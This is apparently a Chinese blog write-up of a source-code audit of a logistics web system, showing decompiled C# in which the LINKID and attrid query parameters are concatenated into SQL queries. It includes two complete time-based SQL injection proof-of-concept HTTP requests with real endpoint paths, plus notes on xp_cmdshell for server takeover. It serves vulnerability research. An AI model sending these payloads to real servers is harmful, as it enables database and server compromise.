概述
某物流系统,之前在网上看到爆出过一些漏洞,于是就找到朋友要到了这套源码,通过审计发现了一些漏洞,由于漏洞暂时未披露状态,关键部分会进行模糊处理,主要是分享一下自己代码审计的过程,希望各位大佬理解。
SQL原理
恶意用户通过构造特殊的SQL查询语句把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。从而可以获取到数据库的相关信息,包括数据库账号密码信息,甚至可上传木马,从而控制服务器。
工具配备
ILSpy visual studio
危险函数
QueryString
ToString()
select
select *
xp_cmdshell概述
我们先来了解一下xp_cmdshell的概念:
xp_cmdshell 是 Microsoft SQL Server 中的一个扩展存储过程,它允许直接在操作系统中执行命令行命令。通过 xp_cmdshell,用户可以执行如文件管理、网络查询、程序调用等命令,这在管理员操作数据库时可能会非常有用。然而,它也带来了一定的安全风险,尤其是在恶意攻击者能够通过 SQL 注入等手段调用该功能时,可能会造成服务器的完全控制。
分析代码架构
那我们现在就定位到物流系统的漏洞源码文件,关键漏洞代码如下:
namespace DSWeb.Shipping
{
// Token: 0x0200018C RID: 396
public class CompanysSysDeptGridSource : Page
{
// Token: 0x06000F0A RID: 3850 RVA: 0x00094AD0 File Offset: 0x00092CD0
protected void Page_Load(object sender, EventArgs e)
{
if (base.Request.QueryString["read"] != null)
{
this.strReadXmlType = base.Request.QueryString["read"].ToString().Trim();
}
if (base.Request.QueryString["showcount"] != null)
{
this.iShowCount = int.Parse(base.Request.QueryString["showcount"].ToString());
}
if (base.Request.QueryString["LINKID"] != null)
{
this.strLINKID = base.Request.QueryString["LINKID"].ToString();
}
if (this.strReadXmlType.Equals(""))
{
base.Response.ContentType = "text/xml";
base.Response.Write("-2");
return;
}
if (!this.strReadXmlType.Equals("delete") && !this.strReadXmlType.Equals("recover"))
{
string cells = this.GetCells(this.iShowCount, this.strReadXmlType);
base.Response.ContentType = "text/xml";
cells.Replace("&", "&");
base.Response.Write(cells);
return;
}
this.strSysDeptGid = base.Request.QueryString["gid"];
this.strHandle = base.Request.QueryString["read"];
if (this.strSysDeptGid == null || this.strHandle == null)
{
base.Response.Write(-99);
return;
}
string text = this.DoExcute(this.strSysDeptGid, this.strHandle);
base.Response.Write(text);
}
// Token: 0x06000F0B RID: 3851 RVA: 0x00094CA8 File Offset: 0x00092EA8
private string DoExcute(string tempGid, string tempHandle)
{
string text = "";
SysDeptDA sysDeptDA = new SysDeptDA();
if (tempHandle == "delete")
{
int num = 0;
if (!tempGid.Trim().Equals(""))
{
SysDeptEntity sysDeptEntity = new SysDeptEntity();
sysDeptEntity = sysDeptDA.GetSysDeptByID(tempGid);
if (sysDeptEntity.GID != null)
{
num = sysDeptDA.DeleteSysDeptByGid(sysDeptEntity.GID);
}
else
{
num = -3;
}
}
text = num.ToString();
}
if (tempHandle == "recover")
{
if (!tempGid.Trim().Equals(""))
{
SysDeptEntity sysDeptEntity2 = new SysDeptEntity();
sysDeptEntity2 = sysDeptDA.GetSysDeptByID(tempGid);
if (sysDeptEntity2 != null)
{
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(sysDeptEntity2.GID + ",");
stringBuilder.Append(sysDeptEntity2.DEPTNO + ",");
stringBuilder.Append(sysDeptEntity2.DEPTNAME + ",");
stringBuilder.Append(sysDeptEntity2.MANAGE1 + ",");
stringBuilder.Append(sysDeptEntity2.MANAGE2 + ",");
stringBuilder.Append(sysDeptEntity2.FINANCESOFTCODE + ",");
stringBuilder.Append(sysDeptEntity2.REMARK);
text = stringBuilder.ToString();
}
else
{
text = "-3";
}
}
else
{
text = "-3";
}
}
return text;
}
// Token: 0x06000F0C RID: 3852 RVA: 0x00094E08 File Offset: 0x00093008
private string GetCells(int iShowCount, string readXmlType)
{
new SysDeptEntity();
SysDeptDA sysDeptDA = new SysDeptDA();
SysDeptEntity sysDeptEntity = new SysDeptEntity();
sysDeptEntity = sysDeptDA.GetSysDeptByLINKIDAndType(this.strLINKID);
if (sysDeptEntity != null && !this.strReadXmlType.Equals("exist"))
{
DataTable dataTable = new DataTable();
string text = " SELECT GID,LINKID,DEPTNO,DEPTNAME,MANAGE1,MANAGE2,FINANCESOFTCODE,REMARK,CREATEUSER,CREATETIME,MODIFIEDUSER,MODIFIEDTIME FROM sys_dept WHERE LINKID = '" + this.strLINKID + "' ORDER BY DEPTNO ASC";
dataTable = this.getStatusNameTable(sysDeptDA.GetExcuteSql(text).Tables[0]);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
stringBuilder.Append("<rows>");
int count = dataTable.Rows.Count;
for (int i = 0; i < count; i++)
{
int count2 = dataTable.Columns.Count;
stringBuilder.Append("<row id=\"" + dataTable.Rows[i]["GID"].ToString() + "\">");
for (int j = 1; j < count2; j++)
{
switch (j)
{
case 2:
stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>");
break;
case 3:
stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>");
break;
case 4:
stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>");
break;
case 5:
stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>");
break;
case 6:
stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>");
break;
case 7:
stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>");
break;
}
}
stringBuilder.Append("</row>");
}
stringBuilder.Append("</rows>");
return stringBuilder.ToString();
}
if (sysDeptEntity != null && this.strReadXmlType.Equals("exist"))
{
return "1";
}
if (sysDeptEntity == null && this.strReadXmlType.Equals("add"))
{
StringBuilder stringBuilder2 = new StringBuilder();
stringBuilder2.Append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
stringBuilder2.Append("<rows>");
stringBuilder2.Append("<row id=\"" + Guid.NewGuid().ToString() + "\">");
stringBuilder2.Append("<cell></cell>");
stringBuilder2.Append("<cell></cell>");
stringBuilder2.Append("<cell></cell>");
stringBuilder2.Append("<cell></cell>");
stringBuilder2.Append("<cell></cell>");
stringBuilder2.Append("<cell></cell>");
stringBuilder2.Append("</row>");
stringBuilder2.Append("</rows>");
return stringBuilder2.ToString();
}
return "-3";
}
在页面加载方法Page_Load中,首先从请求中获取各种参数。如果请求中包含LINKID参数,代码会将其值赋给strLINKID变量。
在GetCells方法中,strLINKID变量未经任何处理直接拼接到 SQL 查询语句中。
这里就是问题代码所在的部分
string text = " SELECT GID,LINKID,DEPTNO,DEPTNAME,MANAGE1,MANAGE2,FINANCESOFTCODE,REMARK,CREATEUSER,CREATETIME,MODIFIEDUSER,MODIFIEDTIME FROM sys_dept WHERE LINKID = '" + this.strLINKID + "' ORDER BY DEPTNO ASC";
strLINKID是从输入获得的,并且没有进行任何处理或验证,那么就可以构造类似
可以将strLINKID设置为' OR 1=1--,这样拼接后的 SQL 语句就变成了
看到这里可以直接构造语句:/xxx/xxxx?read=exist&showcount=10&LINKID=';WAITFOR DELAY '0:0:5'--
构造POC包(漏洞复现)
POC1
GET /Shipping/CompanysSysDeptGridSource.aspx?read=exist&showcount=10&LINKID=%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
第二处sql注入分析
if (base.Request.QueryString["attrid"]!= null)
{
this.strAttributeID = base.Request.QueryString["attrid"].ToString().Trim();
}
先从请求中获取参数,并赋给相应的变量,这里将请求中的attrid参数的值赋给了strAttributeID变量,从代码逻辑可以清晰看出,strAttributeID的值来源于请求中的attrid参数。
这里直接将strAttributeID拼接到 SQL 查询语句中,没有进行任何输入验证或参数化处理。控制请求中的attrid参数,进而影响到strAttributeID变量,就可以注入恶意的 SQL 代码
string text = "";
if (this.strAttributeID!= null)
{
text = " AND A.GID = '" + this.strAttributeID + "'";
}
string text2 = string.Format("SELECT A.GID,A.NAME,A.DESCRIPTION,A.DEFAULTVALUE,B.NAME AS TYPENAME,A.TYPEID from attribute as A INNER JOIN attribute_type as B ON A.TYPEID = B.GID WHERE 1 > 0 AND ISNULL(A.ISDELETE,0) <> 1 AND ISNULL(B.ISDELETE,0) <> 1 {0} ORDER BY A.DESCRIPTION ASC", text);
DataTable dataTable = attributeCompanyDA.GetExcuteSql(text2).Tables[0];
构造POC包(漏洞复现)
POC2
GET /FeeCodes/AttributeAdapter.aspx?handle=attrinfo&attrid=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7